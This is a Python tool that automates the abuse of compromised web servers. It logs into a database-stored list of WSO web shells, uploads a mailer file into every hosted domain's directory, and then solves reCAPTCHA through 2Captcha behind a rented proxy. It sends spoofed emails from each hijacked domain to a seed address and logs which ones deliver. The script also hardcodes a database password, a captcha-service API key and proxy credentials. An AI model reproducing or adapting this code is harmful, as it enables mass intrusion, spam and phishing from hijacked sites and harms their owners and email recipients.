#!/usr/bin/env python3

import os
import re
import time
import sys
import threading
import traceback
import mysql.connector
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed

import requests
import urllib.parse
from bs4 import BeautifulSoup

from playwright.sync_api import sync_playwright, TimeoutError
from twocaptcha import TwoCaptcha

# SUPPRESS WARNINGS
import warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter("ignore", InsecureRequestWarning)
# 2Captcha
from twocaptcha import TwoCaptcha


# -------------------------------
# CONFIG
# -------------------------------
DB_HOST = "localhost"
DB_USER = "root"
DB_PASS = "Narcos123"
DB_NAME = "mailing_system"

# Path to your comprehensive log file
LOG_FILE = "/var/www/html/full_solution.log"

# 2Captcha API key
TWO_CAPTCHA_API_KEY = "48a2b0db06dccf220d0126da851e9865"

# If you want concurrency
MAX_WORKERS = 20

# We want to email a seed address
SEED_EMAIL = "info@artec-montage.com"

# Proxy credentials (optional)
PROXY_USER = "lu8495795"
PROXY_PASS = "Proxy1234"
PROXY_HOST = "pr.7opidkjj.lunaproxy.net"
PROXY_PORT = 12233

# A custom user-agent for Playwright
CUSTOM_UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) "
    "Chrome/114.0.0.0 Safari/537.36"
)

# Lock for DB writes / prints
DB_LOCK = threading.Lock()
PRINT_LOCK = threading.Lock()


# -------------------------------
# HELPER: DB connect
# -------------------------------
def db_connect():
    conn = mysql.connector.connect(
        host=DB_HOST,
        user=DB_USER,
        password=DB_PASS,
        database=DB_NAME
    )
    return conn


# -------------------------------
# HELPER: Logging
# -------------------------------
def log_line(msg):
    """
    Logs 'msg' to both stdout and appends to LOG_FILE.
    We use PRINT_LOCK so multiple threads won't scramble lines.
    """
    with PRINT_LOCK:
        # print to console
        print(msg)
        # also append to log file
        try:
            with open(LOG_FILE, "a", encoding="utf-8") as f:
                f.write(f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n")
        except Exception as e:
            print(f"[log_line error] {e}")

# -------------------------------
# PROXY
# -------------------------------
def get_proxy_requests():
    proxy_auth = f"http://{PROXY_USER}:{PROXY_PASS}@{PROXY_HOST}:{PROXY_PORT}"
    return {"http": proxy_auth, "https": proxy_auth}

def get_proxy_playwright():
    return {
        "server": f"http://{PROXY_HOST}:{PROXY_PORT}",
        "username": PROXY_USER,
        "password": PROXY_PASS
    }

# -------------------------------
# WSO Login/Upload
# -------------------------------
def login_shell(session, shell_url, shell_password):
    try:
        session.get(shell_url, proxies=get_proxy_requests(), timeout=15, verify=False)
    except Exception as e:
        log_line(f"    [!] GET error: {shell_url}, {e}")
        return False

    data = {"password": shell_password}
    try:
        resp = session.post(shell_url, data=data, proxies=get_proxy_requests(), timeout=15, verify=False)
    except Exception as e:
        log_line(f"    [!] POST error: {shell_url}, {e}")
        return False

    if (b"File Management" in resp.content) or (b"Files in Directory" in resp.content):
        return True
    return False

def get_domain_paths(session, shell_url):
    domain_paths = []
    try:
        resp = session.get(shell_url, proxies=get_proxy_requests(), timeout=15, verify=False)
        soup = BeautifulSoup(resp.text, "html.parser")
        cbs = soup.find_all("input", attrs={"type":"checkbox", "name":"selected_domains[]"})
        for cb in cbs:
            val = cb.get("value", "").strip()
            if val:
                domain_paths.append(val)
    except Exception as e:
        log_line(f"    [!] get_domain_paths error: {shell_url}, {e}")
    return domain_paths

def extract_domain_from_path(domain_path):
    parts = domain_path.strip("/").split("/")
    for i in range(len(parts) - 1):
        if parts[i] == "domains":
            return parts[i+1]
    return None

def set_directory(session, shell_url, domain_path):
    parsed = urllib.parse.urlsplit(shell_url)
    q = dict(urllib.parse.parse_qs(parsed.query))
    q["dir"] = domain_path
    new_query = urllib.parse.urlencode(q, doseq=True)
    new_url = urllib.parse.urlunsplit((parsed.scheme, parsed.netloc, parsed.path, new_query, ""))
    try:
        session.get(new_url, proxies=get_proxy_requests(), timeout=15, verify=False)
        return True
    except Exception as e:
        log_line(f"    [!] set_directory error: {new_url}, {e}")
        return False

def upload_file_to_current_dir(session, shell_url, local_filepath):
    filename = os.path.basename(local_filepath)
    if filename.startswith("."):
        return False

    parsed = urllib.parse.urlsplit(shell_url)
    new_url = urllib.parse.urlunsplit((parsed.scheme, parsed.netloc, parsed.path, parsed.query, ""))

    files_data = {
        "upload_file": (filename, open(local_filepath, "rb"), "application/octet-stream")
    }
    data = {"upload": "Upload"}
    try:
        resp = session.post(new_url, files=files_data, data=data,
                            proxies=get_proxy_requests(), timeout=30, verify=False)
        if ("File uploaded to" in resp.text) or ("File <b>" in resp.text and "uploaded" in resp.text):
            return True
    except Exception as e:
        log_line(f"    [!] Upload error: {filename}, {e}")
    return False


# -------------------------------
# Playwright + 2Captcha
# -------------------------------
RE_RECAPTCHA_SITEKEY = re.compile(r'data-sitekey\s*=\s*["\']([^"\']+)["\']', re.IGNORECASE)
RE_RECAPTCHA_INDICATOR = re.compile(r'g-recaptcha', re.IGNORECASE)

def wait_for_recaptcha_or_timeout(page, max_wait=10):
    start = time.time()
    while True:
        frames = page.locator('iframe[title="reCAPTCHA"]')
        if frames.count() > 0:
            return True
        html = page.content()
        if RE_RECAPTCHA_INDICATOR.search(html):
            return True
        if (time.time() - start) > max_wait:
            return False
        time.sleep(1)

def solve_recaptcha(solver, sitekey, page_url):
    try:
        result = solver.recaptcha(sitekey=sitekey, url=page_url)
        return result["code"]
    except Exception as e:
        log_line(f"    [2Captcha error] {e}")
        return None

def find_and_solve_recaptcha(page, url, solver):
    found = wait_for_recaptcha_or_timeout(page, 10)
    if not found:
        return False

    html = page.content()
    sitekey_match = RE_RECAPTCHA_SITEKEY.search(html)
    sitekey = None
    if sitekey_match:
        sitekey = sitekey_match.group(1)
    else:
        frames = page.locator('iframe[src*="recaptcha"][title="reCAPTCHA"]')
        if frames.count() > 0:
            iframe_src = frames.first.get_attribute("src")
            if iframe_src:
                parsed = urllib.parse.urlparse(iframe_src)
                qs = urllib.parse.parse_qs(parsed.query)
                if "k" in qs:
                    sitekey = qs["k"][0]

    if not sitekey:
        log_line("    [!] Recaptcha found, but no sitekey => cannot solve.")
        return False

    token = solve_recaptcha(solver, sitekey, url)
    if not token:
        return False

    # inject token
    page.evaluate(
        """(tok) => {
            let gResp = document.getElementById('g-recaptcha-response');
            if(!gResp) {
                gResp = document.createElement('textarea');
                gResp.id = 'g-recaptcha-response';
                gResp.name = 'g-recaptcha-response';
                document.body.appendChild(gResp);
            }
            gResp.value = tok;
        }""",
        token
    )
    return True

def send_cors_email(page, cors_url, domain):
    subject = f"Test from domain {domain}"
    message = f"<h1>CORS Email Test</h1><p>Sent from domain: {domain}</p>"

    js_code = f"""
        async () => {{
          const url = '{cors_url}';
          const params = new URLSearchParams();
          params.set('action', 'send');
          params.set('recipients', '{SEED_EMAIL}');
          params.set('from_email', 'no-reply@{domain}');
          params.set('subject', '{subject}');
          params.set('message', `{message}`);

          try {{
            const resp = await fetch(url, {{
              method: 'POST',
              headers: {{ 'Content-Type': 'application/x-www-form-urlencoded' }},
              body: params.toString()
            }});
            return await resp.text();
          }} catch (err) {{
            return 'ERROR_FETCH: ' + err.toString();
          }}
        }}
    """
    return page.evaluate(js_code)

def cors_test_link(final_link):
    solver = TwoCaptcha(TWO_CAPTCHA_API_KEY)
    try:
        with sync_playwright() as pw:
            browser = pw.chromium.launch(headless=True)
            context = browser.new_context(
                user_agent=CUSTOM_UA,
                proxy=get_proxy_playwright()
            )
            page = context.new_page()
            page.goto(final_link, timeout=30000)

            solved = find_and_solve_recaptcha(page, final_link, solver)
            if solved:
                log_line("      [Captcha] Solved reCAPTCHA")

            resp_text = send_cors_email(page, final_link, urllib.parse.urlparse(final_link).netloc)
            log_line(f"      [CORS] response => {resp_text[:100]}")

            page.close()
            context.close()
            browser.close()

            if "*send:ok*" in resp_text:
                return "send:ok"
            else:
                return "failed"
    except TimeoutError:
        return "timeout"
    except Exception as e:
        return f"error: {e}"


# -------------------------------
# Worker logic
# -------------------------------
def process_one_shell(shell_url, shell_password, file_path):
    """
    Returns a list of results (one per domain path) with:
      { 'domain_path':..., 'final_link':..., 'send_status':... }
    """
    s = requests.Session()
    s.verify = False
    results = []

    if not login_shell(s, shell_url, shell_password):
        log_line(f"[!] Login failed => {shell_url}")
        return results

    dpaths = get_domain_paths(s, shell_url)
    if not dpaths:
        log_line(f"[!] No domain paths => {shell_url}")
        return results

    filename = os.path.basename(file_path)

    for dpath in dpaths:
        dom = extract_domain_from_path(dpath)
        if not dom:
            continue

        if not set_directory(s, shell_url, dpath):
            continue

        # Upload single file
        success = upload_file_to_current_dir(s, shell_url, file_path)
        if success:
            final_link = f"https://{dom}/{filename}"
            log_line(f"    [+] Uploaded => {final_link}")

            # test
            send_status = cors_test_link(final_link)
            log_line(f"    => {send_status} for {final_link}")

            results.append({
                "domain_path": dpath,
                "final_link": final_link,
                "send_status": send_status
            })
        else:
            log_line(f"    [-] Upload failed => {dom}/{filename}")

    return results


def worker_task(shell_id, shell_url, shell_password, file_path):
    """
    Called by the ThreadPool.  We'll do the process_one_shell, 
    then update shells.status and insert into infodata.
    """
    try:
        # 1) Actually do the domain-based upload + test
        res = process_one_shell(shell_url, shell_password, file_path)
    except Exception as e:
        log_line(f"[!] worker_task exception {shell_url} => {e}")
        res = []

    if not res:
        # Mark shell as error
        with DB_LOCK:
            conn = db_connect()
            c = conn.cursor()
            c.execute("UPDATE shells SET status='error', last_update=NOW() WHERE id=%s", (shell_id,))
            conn.commit()
            conn.close()
        return

    # Insert results => infodata
    with DB_LOCK:
        conn = db_connect()
        c = conn.cursor()
        for row in res:
            dp = row["domain_path"]
            fl = row["final_link"]
            ss = row["send_status"]
            # store
            sql = """INSERT INTO infodata (domain_path, final_link, send_status, inbox_status, created_at)
                     VALUES (%s, %s, %s, %s, NOW())"""
            c.execute(sql, (dp, fl, ss, 'unknown'))

        # Mark shell => processed
        c.execute("UPDATE shells SET status='processed', last_update=NOW() WHERE id=%s", (shell_id,))
        conn.commit()
        conn.close()


def main():
    # 1) get all shells with status='new'
    conn = db_connect()
    cur = conn.cursor()
    cur.execute("SELECT id, shell_url, shell_password, file_path FROM shells WHERE status='new'")
    shells = cur.fetchall()
    conn.close()

    count = len(shells)
    log_line(f"[+] Found {count} shells to process.")
    if not count:
        log_line("No new shells => exiting.")
        return

    # 2) concurrency
    with ThreadPoolExecutor(max_workers=MAX_WORKERS) as exe:
        fut_map = {}
        for sid, surl, pwd, fpath in shells:
            fut = exe.submit(worker_task, sid, surl, pwd, fpath)
            fut_map[fut] = (sid, surl)

        for fut in as_completed(fut_map):
            sid, surl = fut_map[fut]
            try:
                fut.result()
                log_line(f"[DONE] shell => {surl}")
            except Exception as e:
                log_line(f"[!] Worker error => shell {surl}, {e}")

    log_line("All done.")


if __name__ == "__main__":
    main()
